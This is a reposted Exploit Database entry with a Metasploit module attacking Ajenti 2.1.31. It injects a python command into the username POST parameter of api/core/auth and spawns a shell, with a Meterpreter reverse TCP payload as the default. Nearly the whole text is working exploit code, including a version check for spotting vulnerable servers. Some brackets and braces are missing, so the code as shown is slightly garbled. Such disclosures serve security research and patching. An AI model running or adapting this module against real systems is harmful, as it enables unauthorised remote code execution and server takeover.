Ajenti 2.1.31 – Remote Code Exection (Metasploit)

Exploit Database
136 阅读

作者： Onur ER

日期： 2019-10-30
类别：
- webapps
平台：
- json
来源：https://www.exploit-db.com/exploits/47560/

# Exploit Title: Ajenti 2.1.31 - Remote Code Exection (Metasploit)

# Date: 2019-10-29

# Exploit Author: Onur ER

# Vendor Homepage: http://ajenti.org/

# Software Link: https://github.com/ajenti/ajenti

# Version: 2.1.31

# Tested on: Ubuntu 19.10

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name'=> "Ajenti 2.1.31 Remote Code Execution",

'Description' => %q{

This module exploits a command injection in Ajenti <= 2.1.31.

By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.

'Author'=> [

'Jeremy Brown', # Vulnerability discovery

'Onur ER <onur@onurer.net>' # Metasploit module

'References'=> [

['EDB', '47497']

'DisclosureDate'=> '2019-10-14',

'License' => MSF_LICENSE,

'Platform'=> 'python',

'Arch'=> ARCH_PYTHON,

'Privileged'=> false,

'Targets' => [

[ 'Ajenti <= 2.1.31', {} ]

'DefaultOptions'=>

{

'RPORT' => 8000,

'SSL' => 'True',

'payload' => 'python/meterpreter/reverse_tcp'

'DefaultTarget' => 0

))

register_options([

OptString.new('TARGETURI', [true, 'Base path', '/'])

])

end

def check

res = send_request_cgi({

'method' => 'GET',

'uri'=> "/view/login/normal"

})

if res and res.code == 200

if res.body =~ /'ajentiVersion', '2.1.31'/

return Exploit::CheckCode::Vulnerable

elsif res.body =~ /Ajenti/

return Exploit::CheckCode::Detected

end

vprint_error("Unable to determine due to a HTTP connection timeout")

return Exploit::CheckCode::Unknown

end

def exploit

print_status("Exploiting...")

random_password = rand_text_alpha_lower(7)

json_body = { 'username' => "<code>python -c \"#{payload.encoded}\"</code>",

'password' => random_password,

'mode' => 'normal'

}

res = send_request_cgi({

'method' => 'POST',

'uri'=> normalize_uri(target_uri, 'api', 'core', 'auth'),

'ctype'=> 'application/json',

'data' => JSON.generate(json_body)

})

end